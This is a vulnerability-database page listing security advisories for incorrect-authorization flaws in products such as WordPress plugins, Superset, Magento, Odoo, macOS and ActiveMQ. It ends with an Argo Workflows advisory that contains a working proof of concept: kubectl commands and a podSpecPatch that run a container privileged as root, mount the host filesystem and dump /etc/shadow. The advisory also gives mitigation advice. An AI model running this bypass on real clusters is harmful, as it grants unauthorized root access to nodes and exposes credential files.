Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5556 vulnerabilities reference this CWE, most recent first.

GHSA-3RFP-M78P-QCFP

Vulnerability from github – Published: 2025-10-10 12:30 – Updated: 2025-10-10 12:30
VLAI
Details

The WP JobHunt plugin for WordPress, used by the JobCareer theme, is vulnerable to authorization bypass in all versions up to, and including, 7.6. This is due to insufficient login restrictions on inactive and pending accounts. This makes it possible for authenticated attackers, with Candidate- and Employer-level access and above, to log in to the site even if their account is inactive or pending.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-7374"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-10T12:15:37Z",
    "severity": "MODERATE"
  },
  "details": "The WP JobHunt plugin for WordPress, used by the JobCareer theme, is vulnerable to authorization bypass in all versions up to, and including, 7.6. This is due to insufficient login restrictions on inactive and pending accounts. This makes it possible for authenticated attackers, with Candidate- and Employer-level access and above, to log in to the site even if their account is inactive or pending.",
  "id": "GHSA-3rfp-m78p-qcfp",
  "modified": "2025-10-10T12:30:57Z",
  "published": "2025-10-10T12:30:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7374"
    },
    {
      "type": "WEB",
      "url": "https://themeforest.net/item/jobcareer-job-board-responsive-wordpress-theme/14221636"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/12643dd9-3b5e-45ea-9a64-a5b00c9202c8?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3V9R-885J-762G

Vulnerability from github – Published: 2024-02-28 12:30 – Updated: 2025-02-13 19:09
VLAI
Summary
Apache Superset: Improper authorization validation on dashboards and charts import
Details

A low privilege authenticated user could import an existing dashboard or chart that they do not have access to and then modify its metadata, thereby gaining ownership of the object. However, it's important to note that access to the analytical data of these charts and dashboards would still be subject to validation based on data access privileges.

This issue affects Apache Superset: before 3.0.4, from 3.1.0 before 3.1.1.Users are recommended to upgrade to version 3.1.1, which fixes the issue.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "apache-superset"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "apache-superset"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.0"
            },
            {
              "fixed": "3.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-26016"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-28T18:36:34Z",
    "nvd_published_at": "2024-02-28T12:15:47Z",
    "severity": "MODERATE"
  },
  "details": "A low privilege authenticated user could import an existing dashboard or chart that they do not have access to and then modify its metadata, thereby gaining ownership of the object. However, it\u0027s important to note that access to the analytical data of these charts and dashboards would still be subject to validation based on data access privileges.\n\nThis issue affects Apache Superset: before 3.0.4, from 3.1.0 before 3.1.1.Users are recommended to upgrade to version 3.1.1, which fixes the issue.",
  "id": "GHSA-3v9r-885j-762g",
  "modified": "2025-02-13T19:09:55Z",
  "published": "2024-02-28T12:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26016"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/superset"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/76v1jjcylgk4p3m0258qr359ook3vl8s"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/02/28/7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Superset: Improper authorization validation on dashboards and charts import"
}

GHSA-3VG2-V639-6CH9

Vulnerability from github – Published: 2023-08-09 09:30 – Updated: 2025-03-04 18:18
VLAI
Summary
Magento Open Source allows Incorrect Authorization
Details

Adobe Commerce versions 2.4.6-p1 (and earlier), 2.4.5-p3 (and earlier) and 2.4.4-p4 (and earlier) are affected by an Incorrect Authorization vulnerability that could lead to a Security feature bypass. A low-privileged attacker could leverage this vulnerability to access other user's data. Exploitation of this issue does not require user interaction.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
4.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.6"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.5"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.4"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.6-p1"
            },
            {
              "fixed": "2.4.6-p2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.4.6-p1"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.5-p1"
            },
            {
              "fixed": "2.4.5-p4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.4-p1"
            },
            {
              "fixed": "2.4.4-p5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/project-community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-38209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-04T18:18:59Z",
    "nvd_published_at": "2023-08-09T08:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Adobe Commerce versions 2.4.6-p1 (and earlier), 2.4.5-p3 (and earlier) and 2.4.4-p4 (and earlier) are affected by an Incorrect Authorization vulnerability that could lead to a Security feature bypass. A low-privileged attacker could leverage this vulnerability to access other user\u0027s data. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-3vg2-v639-6ch9",
  "modified": "2025-03-04T18:18:59Z",
  "published": "2023-08-09T09:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38209"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/magento/magento2"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/magento/apsb23-42.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Magento Open Source allows Incorrect Authorization "
}

GHSA-3VH6-2H2Q-2G33

Vulnerability from github – Published: 2024-09-25 18:31 – Updated: 2024-09-25 18:31
VLAI
Details

BTS is affected by information disclosure vulnerability where mobile network operator personnel connected over BTS Web Element Manager, regardless of the access privileges, having a possibility to read BTS service operation details performed by Nokia Care service personnel via SSH.

Severity
3.3 (Low)
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-25189"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-25T16:15:06Z",
    "severity": "LOW"
  },
  "details": "BTS is affected by information disclosure vulnerability where mobile network operator personnel connected over BTS Web Element Manager, regardless of the access privileges, having a possibility to read BTS service operation details performed by Nokia Care service personnel via SSH.",
  "id": "GHSA-3vh6-2h2q-2g33",
  "modified": "2024-09-25T18:31:20Z",
  "published": "2024-09-25T18:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25189"
    },
    {
      "type": "WEB",
      "url": "https://www.nokia.com/about-us/security-and-privacy/product-security-advisory/cve-2023-25189"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3VJG-5F33-HXHC

Vulnerability from github – Published: 2022-05-13 01:41 – Updated: 2022-05-13 01:41
VLAI
Details

In Odoo 8.0, Odoo Community Edition 9.0 and 10.0, and Odoo Enterprise Edition 9.0 and 10.0, incorrect access control on OAuth tokens in the OAuth module allows remote authenticated users to hijack OAuth sessions of other users.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-10805"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-07-04T18:29:00Z",
    "severity": "HIGH"
  },
  "details": "In Odoo 8.0, Odoo Community Edition 9.0 and 10.0, and Odoo Enterprise Edition 9.0 and 10.0, incorrect access control on OAuth tokens in the OAuth module allows remote authenticated users to hijack OAuth sessions of other users.",
  "id": "GHSA-3vjg-5f33-hxhc",
  "modified": "2022-05-13T01:41:58Z",
  "published": "2022-05-13T01:41:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-10805"
    },
    {
      "type": "WEB",
      "url": "https://github.com/odoo/odoo/issues/17921"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3VRP-8P8H-29R9

Vulnerability from github – Published: 2024-10-28 21:30 – Updated: 2026-04-02 21:31
VLAI
Details

A logic issue was addressed with improved validation. This issue is fixed in macOS Ventura 13.7.1, macOS Sonoma 14.7.1. A sandboxed process may be able to circumvent sandbox restrictions.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-44270"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-28T21:15:07Z",
    "severity": "HIGH"
  },
  "details": "A logic issue was addressed with improved validation. This issue is fixed in macOS Ventura 13.7.1, macOS Sonoma 14.7.1. A sandboxed process may be able to circumvent sandbox restrictions.",
  "id": "GHSA-3vrp-8p8h-29r9",
  "modified": "2026-04-02T21:31:59Z",
  "published": "2024-10-28T21:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44270"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/121564"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/121568"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/121570"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Oct/11"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Oct/12"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Oct/13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3W85-5P9G-H334

Vulnerability from github – Published: 2025-04-01 09:30 – Updated: 2025-07-15 00:27
VLAI
Summary
Apache ActiveMQ Artemis User Without Create Address Permissions can Modify Address Routing-Type
Details

A vulnerability exists in Apache ActiveMQ Artemis whereby a user with the createDurableQueue or createNonDurableQueue permission on an address can augment the routing-type supported by that address even if said user doesn't have the createAddress permission for that particular address. When combined with the send permission and automatic queue creation a user could successfully send a message with a routing-type not supported by the address when that message should actually be rejected on the basis that the user doesn't have permission to change the routing-type of the address.

This issue affects Apache ActiveMQ Artemis from 2.0.0 through 2.39.0.

Users are recommended to upgrade to version 2.40.0 which fixes the issue.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
2.3 (Low)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.activemq:artemis-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.40.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27427"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-01T18:04:06Z",
    "nvd_published_at": "2025-04-01T08:15:13Z",
    "severity": "LOW"
  },
  "details": "A vulnerability exists in Apache ActiveMQ Artemis whereby a user with the createDurableQueue or createNonDurableQueue permission on an address can augment the routing-type supported by that address even if said user doesn\u0027t have the createAddress permission for that particular address. When combined with the send permission and automatic queue creation a user could successfully send a message with a routing-type not supported by the address when that message should actually be rejected on the basis that the user doesn\u0027t have permission to change the routing-type of the address.\n\nThis issue affects Apache ActiveMQ Artemis from 2.0.0 through 2.39.0.\n\nUsers are recommended to upgrade to version 2.40.0 which fixes the issue.",
  "id": "GHSA-3w85-5p9g-h334",
  "modified": "2025-07-15T00:27:00Z",
  "published": "2025-04-01T09:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27427"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/activemq-artemis/commit/2216a75a57f098295abb283d556c8b8bda91324d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/activemq-artemis/commit/6ab458015689303db8878941abe1bc973299fc2e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/activemq-artemis"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/ARTEMIS-5346"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/8dzlm2vkqphyrnkrby8r8kzndsm5o6x8"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/03/31/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache ActiveMQ Artemis User Without Create Address Permissions can Modify Address Routing-Type"
}

GHSA-3WF5-G532-RCRR

Vulnerability from github – Published: 2026-03-11 19:29 – Updated: 2026-03-11 19:29
VLAI
Summary
Argo Workflows: WorkflowTemplate Security Bypass via podSpecPatch in Strict/Secure Reference Mode
Details

Summary

A user who can submit Workflows can completely bypass all security settings defined in a WorkflowTemplate by including a podSpecPatch field in their Workflow submission. This works even when the controller is configured with templateReferencing: Strict, which is specifically documented as a mechanism to restrict users to admin-approved templates. The podSpecPatch field on a submitted Workflow takes precedence over the referenced WorkflowTemplate during spec merging and is applied directly to the pod spec at creation time with no security validation.

Details

Three issues combine to create this vulnerability:

  1. Merge priority order:JoinWorkflowSpec merges specs with the priority order Workflow Spec > WorkflowTemplate Spec > WorkflowDefault Spec. Because podSpecPatch is a plain string field, the Workflow's value replaces the WorkflowTemplate's value.

  2. No security validation on podSpecPatch: ApplyPodSpecPatch() only validates that the patch is syntactically valid JSON conforming to the Kubernetes PodSpec schema. No checks are performed for dangerous security settings such as privileged: true.

  3. templateReferencing: Strict does not restrict podSpecPatch: Strict mode only checks whether WorkflowTemplateRef is set. If it is, the Workflow passes validation regardless of what other fields (including podSpecPatch) are present.

PoC

Prerequisites

A local Kubernetes cluster with Argo Workflows installed. The instructions below use kind.

1. Create a kind cluster and install Argo Workflows

kind create cluster --name argo-poc

kubectl create namespace argo
kubectl apply -n argo --server-side \
  -f https://github.com/argoproj/argo-workflows/releases/download/v4.0.1/install.yaml

Note: --server-side is required because some CRDs exceed the client-side annotation size limit.

Wait for the controller to be ready:

kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s

2. Enable templateReferencing: Strict

Patch the workflow controller configmap to enforce Strict mode:

kubectl patch configmap workflow-controller-configmap -n argo --type merge \
  -p '{"data":{"workflowRestrictions":"templateReferencing: Strict\n"}}'

Restart the controller to pick up the new config:

kubectl rollout restart deployment workflow-controller -n argo
kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s

3. Verify Strict mode is active

Attempt to submit a standalone Workflow (no workflowTemplateRef). It should be rejected:

cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: strict-test-
spec:
  entrypoint: test
  templates:
  - name: test
    container:
      image: alpine
      command: [echo, "hello"]
EOF

The Workflow will be accepted by the API server but the controller will reject it. After a few seconds, check its status:

STRICT_WF=$(kubectl get workflow -n argo -o name | grep strict-test | tail -1)
kubectl get -n argo "$STRICT_WF" -o jsonpath='{.status.phase} {.status.message}'

Expected output:

Error workflows must use workflowTemplateRef to be executed when the controller is in reference mode

4: Create a hardened WorkflowTemplate

An administrator creates a WorkflowTemplate with restrictive security settings:

cat <<'EOF' | kubectl apply -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
  name: secure-template
  namespace: argo
  annotations:
    description: "Admin-approved secure template with hardened security settings"
spec:
  entrypoint: secure-task
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    fsGroup: 1000
  templates:
  - name: secure-task
    container:
      image: alpine:latest
      command: ["/bin/sh", "-c"]
      args:
        - |
          echo "=== Security Context Check ==="
          echo "Current UID: $(id -u)"
          echo "Current GID: $(id -g)"
          if cat /etc/shadow 2>/dev/null; then
            echo "EXPLOITED: Can read /etc/shadow!"
          else
            echo "SECURE: Cannot read /etc/shadow"
          fi
          if ls /host/etc/passwd 2>/dev/null; then
            echo "EXPLOITED: Host filesystem accessible!"
            cat /host/etc/passwd | head -5
          else
            echo "SECURE: No host filesystem access"
          fi
          if [ "$(id -u)" = "0" ]; then
            echo "EXPLOITED: Running as root!"
          else
            echo "SECURE: Running as non-root (UID: $(id -u))"
          fi
          echo "=== End Check ==="
      securityContext:
        runAsNonRoot: true
        runAsUser: 1000
        allowPrivilegeEscalation: false
        capabilities:
          drop:
            - ALL
EOF

5. Submit a legitimate Workflow (baseline)

Submit a Workflow that references the secure template without modification:

cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: legit-use-
  namespace: argo
spec:
  workflowTemplateRef:
    name: secure-template
EOF

Wait for completion and check logs:

LEGIT_WF=$(kubectl get workflow -n argo -o name | grep legit-use | tail -1)
kubectl wait -n argo --for=condition=Completed "$LEGIT_WF" --timeout=120s
kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $LEGIT_WF)" -c main

Expected output (confirming the template's security settings are applied):

=== Security Context Check ===
Current UID: 1000
Current GID: 0
SECURE: Cannot read /etc/shadow
SECURE: No host filesystem access
SECURE: Running as non-root (UID: 1000)
=== End Check ===

6. Submit the bypass Workflow

Submit a Workflow that references the same secure template but includes a podSpecPatch that overrides all security settings:

cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: bypass-security-
  namespace: argo
spec:
  workflowTemplateRef:
    name: secure-template
  podSpecPatch: |
    hostPID: true
    hostNetwork: true
    containers:
    - name: main
      securityContext:
        privileged: true
        runAsUser: 0
        runAsNonRoot: false
        allowPrivilegeEscalation: true
        capabilities:
          add:
            - ALL
          drop: []
      volumeMounts:
      - name: host-root
        mountPath: /host
    volumes:
    - name: host-root
      hostPath:
        path: /
        type: Directory
EOF

Wait for completion and check logs:

BYPASS_WF=$(kubectl get workflow -n argo -o name | grep bypass-security | tail -1)
kubectl wait -n argo --for=condition=Completed "$BYPASS_WF" --timeout=120s
kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $BYPASS_WF)" -c main

Expected output (all security settings bypassed):

=== Security Context Check ===
Current UID: 0
Current GID: 0
root:*::0:::::
bin:!::0:::::
[... /etc/shadow contents dumped ...]
EXPLOITED: Can read /etc/shadow!
EXPLOITED: Host filesystem accessible!
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[... host /etc/passwd contents ...]
EXPLOITED: Running as root!
=== End Check ===

The file /etc/shadow is readable (root), the host filesystem is mounted and accessible, and the container runs as UID 0.

Impact

The purpose of templateReferencing: Strict is to restrict users to only execute admin-approved WorkflowTemplates. This is explicitly documented as a security feature:

You can typically further restrict what a user can do to just being able to submit workflows from templates using the workflow restrictions feature.

A user who can submit Workflows referencing approved templates can use podSpecPatch to:

  • Run containers as root (runAsUser: 0)
  • Enable privileged mode (privileged: true)
  • Mount the host filesystem (hostPath volumes)
  • Share host PID/network/IPC namespaces (hostPID, hostNetwork, hostIPC)
  • Add all Linux capabilities (capabilities.add: ["ALL"])

This effectively grants the user full root access to the underlying Kubernetes node, regardless of what security constraints the admin configured in the WorkflowTemplate.

The templateReferencing feature was introduced in Argo Workflows v2.9.0 through PR #3149.

Mitigation

When templateReferencing: Strict or Secure is enabled, the controller should reject Workflows that include a podSpecPatch field when using workflowTemplateRef.

Without the codefix, deploying an admission controller (OPA/Gatekeeper, Kyverno) with policies that block dangerous pod settings (privileged, hostPID, hostNetwork, hostIPC, hostPath) on pods created by Argo Workflows.

Severity
8.9 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-workflows/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-workflows/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.7.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 3.0.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-workflows"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31892"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-11T19:29:33Z",
    "nvd_published_at": "2026-03-11T16:16:44Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA user who can submit Workflows can completely bypass all security settings defined in a `WorkflowTemplate` by including a `podSpecPatch` field in their Workflow submission. This works even when the controller is configured with `templateReferencing: Strict`, which is specifically documented as a mechanism to restrict users to admin-approved templates. The `podSpecPatch` field on a submitted Workflow takes precedence over the referenced `WorkflowTemplate` during spec merging and is applied directly to the pod spec at creation time with no security validation.\n\n## Details\n\nThree issues combine to create this vulnerability:\n\n1. Merge priority order:`JoinWorkflowSpec` merges specs with the priority order Workflow Spec \u003e WorkflowTemplate Spec \u003e WorkflowDefault Spec. Because `podSpecPatch` is a plain string field, the Workflow\u0027s value replaces the WorkflowTemplate\u0027s value.\n\n2. No security validation on `podSpecPatch`: `ApplyPodSpecPatch()` only validates that the patch is syntactically valid JSON conforming to the Kubernetes `PodSpec` schema. No checks are performed for dangerous security settings such as `privileged: true`.\n\n3. `templateReferencing: Strict` does not restrict `podSpecPatch`: Strict mode only checks whether `WorkflowTemplateRef` is set. If it is, the Workflow passes validation regardless of what other fields (including `podSpecPatch`) are present.\n\n## PoC\n\n### Prerequisites\n\nA local Kubernetes cluster with Argo Workflows installed. The instructions below use [kind](https://kind.sigs.k8s.io/).\n\n#### 1. Create a kind cluster and install Argo Workflows\n\n```bash\nkind create cluster --name argo-poc\n\nkubectl create namespace argo\nkubectl apply -n argo --server-side \\\n  -f https://github.com/argoproj/argo-workflows/releases/download/v4.0.1/install.yaml\n```\n\nNote: `--server-side` is required because some CRDs exceed the client-side annotation size limit.\n\nWait for the controller to be ready:\n\n```bash\nkubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s\n```\n\n#### 2. Enable `templateReferencing: Strict`\n\nPatch the workflow controller configmap to enforce Strict mode:\n\n```bash\nkubectl patch configmap workflow-controller-configmap -n argo --type merge \\\n  -p \u0027{\"data\":{\"workflowRestrictions\":\"templateReferencing: Strict\\n\"}}\u0027\n```\n\nRestart the controller to pick up the new config:\n\n```bash\nkubectl rollout restart deployment workflow-controller -n argo\nkubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s\n```\n\n#### 3. Verify Strict mode is active\n\nAttempt to submit a standalone Workflow (no `workflowTemplateRef`). It should be rejected:\n\n```bash\ncat \u003c\u003c\u0027EOF\u0027 | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: strict-test-\nspec:\n  entrypoint: test\n  templates:\n  - name: test\n    container:\n      image: alpine\n      command: [echo, \"hello\"]\nEOF\n```\n\nThe Workflow will be accepted by the API server but the controller will reject it. After a few seconds, check its status:\n\n```bash\nSTRICT_WF=$(kubectl get workflow -n argo -o name | grep strict-test | tail -1)\nkubectl get -n argo \"$STRICT_WF\" -o jsonpath=\u0027{.status.phase} {.status.message}\u0027\n```\n\nExpected output:\n\n```\nError workflows must use workflowTemplateRef to be executed when the controller is in reference mode\n```\n\n#### 4: Create a hardened WorkflowTemplate\n\nAn administrator creates a `WorkflowTemplate` with restrictive security settings:\n\n```bash\ncat \u003c\u003c\u0027EOF\u0027 | kubectl apply -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: WorkflowTemplate\nmetadata:\n  name: secure-template\n  namespace: argo\n  annotations:\n    description: \"Admin-approved secure template with hardened security settings\"\nspec:\n  entrypoint: secure-task\n  securityContext:\n    runAsNonRoot: true\n    runAsUser: 1000\n    fsGroup: 1000\n  templates:\n  - name: secure-task\n    container:\n      image: alpine:latest\n      command: [\"/bin/sh\", \"-c\"]\n      args:\n        - |\n          echo \"=== Security Context Check ===\"\n          echo \"Current UID: $(id -u)\"\n          echo \"Current GID: $(id -g)\"\n          if cat /etc/shadow 2\u003e/dev/null; then\n            echo \"EXPLOITED: Can read /etc/shadow!\"\n          else\n            echo \"SECURE: Cannot read /etc/shadow\"\n          fi\n          if ls /host/etc/passwd 2\u003e/dev/null; then\n            echo \"EXPLOITED: Host filesystem accessible!\"\n            cat /host/etc/passwd | head -5\n          else\n            echo \"SECURE: No host filesystem access\"\n          fi\n          if [ \"$(id -u)\" = \"0\" ]; then\n            echo \"EXPLOITED: Running as root!\"\n          else\n            echo \"SECURE: Running as non-root (UID: $(id -u))\"\n          fi\n          echo \"=== End Check ===\"\n      securityContext:\n        runAsNonRoot: true\n        runAsUser: 1000\n        allowPrivilegeEscalation: false\n        capabilities:\n          drop:\n            - ALL\nEOF\n```\n\n#### 5. Submit a legitimate Workflow (baseline)\n\nSubmit a Workflow that references the secure template without modification:\n\n```bash\ncat \u003c\u003c\u0027EOF\u0027 | kubectl create -n argo -f 